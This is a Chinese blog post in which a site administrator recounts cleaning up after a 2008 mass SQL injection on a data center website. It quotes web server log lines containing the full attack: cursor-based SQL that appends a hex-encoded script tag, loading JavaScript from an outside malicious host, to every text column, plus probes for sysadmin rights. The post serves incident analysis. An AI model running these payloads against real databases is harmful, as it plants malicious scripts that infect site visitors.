昨天晚上李老师打电话过来，发现西部数据中心访问有问题。
经仔细检查，发现网站已经被SQL注入了，SQL Server中所有字符串字段都被添加了尾巴，指向了一个病毒网站。
再次检查，发现最近的一次数据库完整备份是在年前了，而此期间又注册了很多新用户，因此只能手工清理了。
这里主要是利用了SQL Server中的replace函数：
update table set f1=replace(f1,’xxx’,”)
手工清理了所有表中的相关字段，这是个体力活。在清理过程中还发现了membership表中居然有4个重复用户名，这个错误检查了3－4个小时才发现，晕。
log记录显示了如何注入的：
6985 210.77.68.241 GET /dataservices/fullmetadata.aspx id={616cf641-13dc-4f2a-ae40-6a4d8f42ddc6};dEcLaRe%20@t%20vArChAr(255),@c%20vArChAr(255)%20dEcLaRe%20tAbLe_cursoR%20cUrSoR%20FoR%20sElEcT%20a.nAmE,b.nAmE%20FrOm%20sYsObJeCtS%20a,sYsCoLuMnS%20b%20wHeRe%20a.iD=b.iD%20AnD%20a.xTyPe=’u’%20AnD%20(b.xTyPe=99%20oR%20b.xTyPe=35%20oR%20b.xTyPe=231%20oR%20b.xTyPe=167)%20oPeN%20tAbLe_cursoR%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20while(@@fEtCh_status=0)%20bEgIn%20exec(‘UpDaTe%20[‘%2b@t%2b’]%20sEt%20[‘%2b@c%2b’]=[‘%2b@c%2b’]%2bcAsT(0x223E3C2F7469746C653E3C736372697074207372633D687474703A2F2F2536362537352536332536422537352537352532452537352537332F312E6A733E3C2F7363726970743E3C212D2D%20aS%20vArChAr(67))’)%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20eNd%20cLoSe%20tAbLe_cursoR%20dEAlLoCaTe%20tAbLe_cursoR;– 80 – 218.246.32.206 Mozilla/4.0 302 0 0
2008-05-27 00:08:02 W3SVC1565836985 210.77.68.241 GET /dataservices/fullmetadata.aspx id={616cf641-13dc-4f2a-ae40-6a4d8f42ddc6}’;dEcLaRe%20@t%20vArChAr(255),@c%20vArChAr(255)%20dEcLaRe%20tAbLe_cursoR%20cUrSoR%20FoR%20sElEcT%20a.nAmE,b.nAmE%20FrOm%20sYsObJeCtS%20a,sYsCoLuMnS%20b%20wHeRe%20a.iD=b.iD%20AnD%20a.xTyPe=’u’%20AnD%20(b.xTyPe=99%20oR%20b.xTyPe=35%20oR%20b.xTyPe=231%20oR%20b.xTyPe=167)%20oPeN%20tAbLe_cursoR%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20while(@@fEtCh_status=0)%20bEgIn%20exec(‘UpDaTe%20[‘%2b@t%2b’]%20sEt%20[‘%2b@c%2b’]=[‘%2b@c%2b’]%2bcAsT(0x223E3C2F7469746C653E3C736372697074207372633D687474703A2F2F2536362537352536332536422537352537352532452537352537332F312E6A733E3C2F7363726970743E3C212D2D%20aS%20vArChAr(67))’)%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20eNd%20cLoSe%20tAbLe_cursoR%20dEAlLoCaTe%20tAbLe_cursoR;– 80 – 218.246.32.206 Mozilla/4.0 302 0 0
2008-05-27 00:08:03 W3SVC1565836985 210.77.68.241 GET /dataservices/fullmetadata.aspx id={7ce7f0d6-7b5c-4136-82cb-eca3a2083902};dEcLaRe%20@t%20vArChAr(255),@c%20vArChAr(255)%20dEcLaRe%20tAbLe_cursoR%20cUrSoR%20FoR%20sElEcT%20a.nAmE,b.nAmE%20FrOm%20sYsObJeCtS%20a,sYsCoLuMnS%20b%20wHeRe%20a.iD=b.iD%20AnD%20a.xTyPe=’u’%20AnD%20(b.xTyPe=99%20oR%20b.xTyPe=35%20oR%20b.xTyPe=231%20oR%20b.xTyPe=167)%20oPeN%20tAbLe_cursoR%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20while(@@fEtCh_status=0)%20bEgIn%20exec(‘UpDaTe%20[‘%2b@t%2b’]%20sEt%20[‘%2b@c%2b’]=[‘%2b@c%2b’]%2bcAsT(0x223E3C2F7469746C653E3C736372697074207372633D687474703A2F2F2536362537352536332536422537352537352532452537352537332F312E6A733E3C2F7363726970743E3C212D2D%20aS%20vArChAr(67))’)%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20eNd%20cLoSe%20tAbLe_cursoR%20dEAlLoCaTe%20tAbLe_cursoR;– 80 – 218.246.32.206 Mozilla/4.0 302 0 0
2008-05-27 00:08:03 W3SVC1565836985 210.77.68.241 GET /dataservices/fullmetadata.aspx id={7ce7f0d6-7b5c-4136-82cb-eca3a2083902}’;dEcLaRe%20@t%20vArChAr(255),@c%20vArChAr(255)%20dEcLaRe%20tAbLe_cursoR%20cUrSoR%20FoR%20sElEcT%20a.nAmE,b.nAmE%20FrOm%20sYsObJeCtS%20a,sYsCoLuMnS%20b%20wHeRe%20a.iD=b.iD%20AnD%20a.xTyPe=’u’%20AnD%20(b.xTyPe=99%20oR%20b.xTyPe=35%20oR%20b.xTyPe=231%20oR%20b.xTyPe=167)%20oPeN%20tAbLe_cursoR%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20while(@@fEtCh_status=0)%20bEgIn%20exec(‘UpDaTe%20[‘%2b@t%2b’]%20sEt%20[‘%2b@c%2b’]=[‘%2b@c%2b’]%2bcAsT(0x223E3C2F7469746C653E3C736372697074207372633D687474703A2F2F2536362537352536332536422537352537352532452537352537332F312E6A733E3C2F7363726970743E3C212D2D%20aS%20vArChAr(67))’)%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20eNd%20cLoSe%20tAbLe_cursoR%20dEAlLoCaTe%20tAbLe_cursoR;– 80 – 218.246.32.206 Mozilla/4.0 302 0 0
2008-05-27 00:08:03 W3SVC1565836985 210.77.68.241 GET /dataservices/fullmetadata.aspx id={616cf641-13dc-4f2a-ae40-6a4d8f42ddc6}%20And%20Cast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00)%20as%20varchar(1))%2Bchar(124)=1 80 – 218.246.32.206 Mozilla/4.0 302 0 0
2008-05-27 00:08:03 W3SVC1565836985 210.77.68.241 GET /dataservices/fullmetadata.aspx id={7ce7f0d6-7b5c-4136-82cb-eca3a2083902}%20And%20Cast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00)%20as%20varchar(1))%2Bchar(124)=1 80 – 218.246.32.206 Mozilla/4.0 302 0 0
2008-05-27 00:08:03 W3SVC1565836985 210.77.68.241 GET /useterms.aspx id=1;dEcLaRe%20@t%20vArChAr(255),@c%20vArChAr(255)%20dEcLaRe%20tAbLe_cursoR%20cUrSoR%20FoR%20sElEcT%20a.nAmE,b.nAmE%20FrOm%20sYsObJeCtS%20a,sYsCoLuMnS%20b%20wHeRe%20a.iD=b.iD%20AnD%20a.xTyPe=’u’%20AnD%20(b.xTyPe=99%20oR%20b.xTyPe=35%20oR%20b.xTyPe=231%20oR%20b.xTyPe=167)%20oPeN%20tAbLe_cursoR%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20while(@@fEtCh_status=0)%20bEgIn%20exec(‘UpDaTe%20[‘%2b@t%2b’]%20sEt%20[‘%2b@c%2b’]=[‘%2b@c%2b’]%2bcAsT(0x223E3C2F7469746C653E3C736372697074207372633D687474703A2F2F2536362537352536332536422537352537352532452537352537332F312E6A733E3C2F7363726970743E3C212D2D%20aS%20vArChAr(67))’)%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20eNd%20cLoSe%20tAbLe_cursoR%20dEAlLoCaTe%20tAbLe_cursoR;– 80 – 218.246.32.206 Mozilla/4.0 200 0 64
2008-05-27 00:08:04 W3SVC1565836985 210.77.68.241 GET /useterms.aspx id=1′;dEcLaRe%20@t%20vArChAr(255),@c%20vArChAr(255)%20dEcLaRe%20tAbLe_cursoR%20cUrSoR%20FoR%20sElEcT%20a.nAmE,b.nAmE%20FrOm%20sYsObJeCtS%20a,sYsCoLuMnS%20b%20wHeRe%20a.iD=b.iD%20AnD%20a.xTyPe=’u’%20AnD%20(b.xTyPe=99%20oR%20b.xTyPe=35%20oR%20b.xTyPe=231%20oR%20b.xTyPe=167)%20oPeN%20tAbLe_cursoR%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20while(@@fEtCh_status=0)%20bEgIn%20exec(‘UpDaTe%20[‘%2b@t%2b’]%20sEt%20[‘%2b@c%2b’]=[‘%2b@c%2b’]%2bcAsT(0x223E3C2F7469746C653E3C736372697074207372633D687474703A2F2F2536362537352536332536422537352537352532452537352537332F312E6A733E3C2F7363726970743E3C212D2D%20aS%20vArChAr(67))’)%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20eNd%20cLoSe%20tAbLe_cursoR%20dEAlLoCaTe%20tAbLe_cursoR;– 80 – 218.246.32.206 Mozilla/4.0 200 0 64
2008-05-27 00:08:04 W3SVC1565836985 210.77.68.241 GET /useterms.aspx id=1%20And%20Cast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00)%20as%20varchar(1))%2Bchar(124)=1 80 – 218.246.32.206 Mozilla/4.0 200 0 0
因此，可以看到黑客是利用218.246.32.206这个机器来操作的，但搜索这个IP地址，居然发现多个结果，估计是利用工具攻击的。
同时，CSDN上还有一个自动的恢复方法，这比我手工恢复要省事多了。
发现，这个攻击是针对SQL Server的。
发表回复